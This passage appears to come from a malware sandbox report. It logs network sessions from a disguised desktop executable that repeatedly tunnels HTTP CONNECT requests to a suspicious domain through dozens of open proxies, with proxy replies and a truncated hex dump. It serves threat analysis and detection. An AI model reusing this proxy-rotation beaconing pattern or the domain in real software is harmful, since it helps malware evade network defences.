Mar 11, 2024 16:42:22.173156977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.189385891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.11	51999	103.118.44.136	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.477672100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.11	52237	104.25.58.39	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.480189085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.634665966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.11	52261	104.25.244.70	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.509387970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.663548946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.11	51244	62.171.131.101	44827	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.512175083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603355885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.613497972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.642041922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.641681910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.782253981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.782216072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:33.782185078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:21.797684908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.11	52084	45.138.87.238	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.512175083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.11	51282	45.10.42.20	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.512942076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688518047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.782752037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.876343966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.875993013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.969719887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.079303026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.079001904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.11	51252	92.205.61.38	4300	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.513698101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688592911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.782763004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.876358986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.11	52095	45.11.95.165	5034	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.517744064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.982763052 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.11	51367	209.121.164.50	31147	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.525475979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.352997065 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.11	52085	61.133.66.69	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.536938906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.11	52160	45.233.169.40	9994	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.553415060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.173156023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.188899040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.594602108 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.11	52159	45.178.133.75	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.589982033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.329407930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.280875921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.981633902 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.11	52200	51.15.132.215	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.590189934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.282466888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.189564943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.173342943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.794559002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.485600948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.188895941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.391714096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.782253981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.11	49901	103.153.232.41	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.652527094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.865370989 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:43:28.011770964 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 818 Content-Type: text/html Date: Mon, 11 Mar 2024 15:41:03 GMT Expires: Mon, 11 Mar 2024 15:41:03 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.11	52128	116.106.105.55	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.652534008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.11	52270	70.166.167.55	57745	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.652617931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.11	51345	159.89.194.121	16075	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.656157017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.11	52212	5.75.192.13	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.659460068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.11	52249	114.156.77.107	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.659460068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.941962004 CET	1286	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html Cache-Control: no-cache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 4897 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 